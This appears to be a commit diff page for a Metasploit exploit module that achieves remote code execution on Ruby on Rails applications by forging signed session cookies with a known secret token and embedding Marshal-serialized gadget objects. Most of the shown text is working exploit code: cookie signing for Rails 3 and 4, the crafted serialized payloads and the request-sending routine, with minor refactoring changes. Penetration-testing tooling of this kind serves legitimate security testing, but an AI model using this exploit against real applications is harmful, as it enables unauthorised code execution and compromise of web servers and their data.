Module polishing, thanks @todb-r7.
Two test-apps (Rails 3/4) are available for this module. Ping me if you want to use them.bug/bundler_fix
parent
7f3eccd644
commit
8cdd163150
|
@ -56,7 +56,7 @@ class MessageEncryptor
|
|||
cipher = new_cipher
|
||||
cipher.encrypt
|
||||
cipher.key = @secret
|
||||
# Rely on OpenSSL for the initialization vector
|
||||
# Rely on OpenSSL for the initialization vector
|
||||
iv = cipher.random_iv
|
||||
#encrypted_data = cipher.update(@serializer.dump(value))
|
||||
encrypted_data = cipher.update(value)
|
||||
|
@ -87,17 +87,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Ruby on Rails Session Cookie Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module implements Remote Command Execution on Ruby on Rails applications.
|
||||
Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
|
||||
(Rails 4). The values for those can be usually found in the file
|
||||
"RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
|
||||
deserialization of some crafted Ruby Object
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'joernchen of Phenoelit',
|
||||
'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'],
|
||||
['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution']
|
||||
['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here
|
||||
['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 11 2013',
|
||||
'Platform' => [ 'ruby'],
|
||||
'Arch' => [ 'ruby'],
|
||||
'Privileged' => false,
|
||||
|
@ -107,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', "3"]),
|
||||
OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
|
||||
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
|
||||
OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
|
||||
|
@ -141,12 +147,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{}
|
||||
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
|
||||
end
|
||||
|
||||
|
||||
def check_secret(data, digest)
|
||||
data = Rex::Text.uri_decode(data)
|
||||
if datastore['RAILSVERSION'] == '3'
|
||||
if datastore['RAILSVERSION'] == 3
|
||||
sigkey = datastore['SECRET']
|
||||
elsif datastore['RAILSVERSION'] == '4'
|
||||
elsif datastore['RAILSVERSION'] == 4
|
||||
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
|
||||
sigkey = keygen.generate_key(datastore['SALTSIG'])
|
||||
end
|
||||
|
@ -162,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def rails_3
|
||||
# Sign it with the secret_token
|
||||
data = build_cookie
|
||||
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
|
||||
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
|
||||
marshal_payload = Rex::Text.uri_encode(data)
|
||||
"#{marshal_payload}--#{digest}"
|
||||
end
|
||||
|
@ -174,7 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
|
||||
"'.unpack('m0').first)"
|
||||
|
||||
if datastore['RAILSVERSION'] == '4'
|
||||
if datastore['RAILSVERSION'] == 4
|
||||
return "\x04\b" +
|
||||
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
|
||||
":\x0E@instanceo" +
|
||||
|
@ -183,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
":\f@method:\vresult:" +
|
||||
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
|
||||
end
|
||||
if datastore['RAILSVERSION'] == '3'
|
||||
if datastore['RAILSVERSION'] == 3
|
||||
return Rex::Text.encode_base64 "\x04\x08" +
|
||||
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
|
||||
":\x0E@instance" +
|
||||
|
@ -198,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Send the actual request
|
||||
#
|
||||
def exploit
|
||||
if datastore['RAILSVERSION'] == '3'
|
||||
if datastore['RAILSVERSION'] == 3
|
||||
cookie = rails_3
|
||||
elsif datastore['RAILSVERSION'] == '4'
|
||||
cookie = rails_4
|
||||
elsif datastore['RAILSVERSION'] == 4
|
||||
cookie = rails_4
|
||||
end
|
||||
cookie_name = datastore['COOKIE_NAME']
|
||||
|
||||
|
@ -233,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# This prevents trying to send busted cookies with no name
|
||||
fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given")
|
||||
end
|
||||
print_status("Sending payload anyways! ;)")
|
||||
print_warning("Sending payload anyways! ;)")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
|
|
Loading…
Reference in New Issue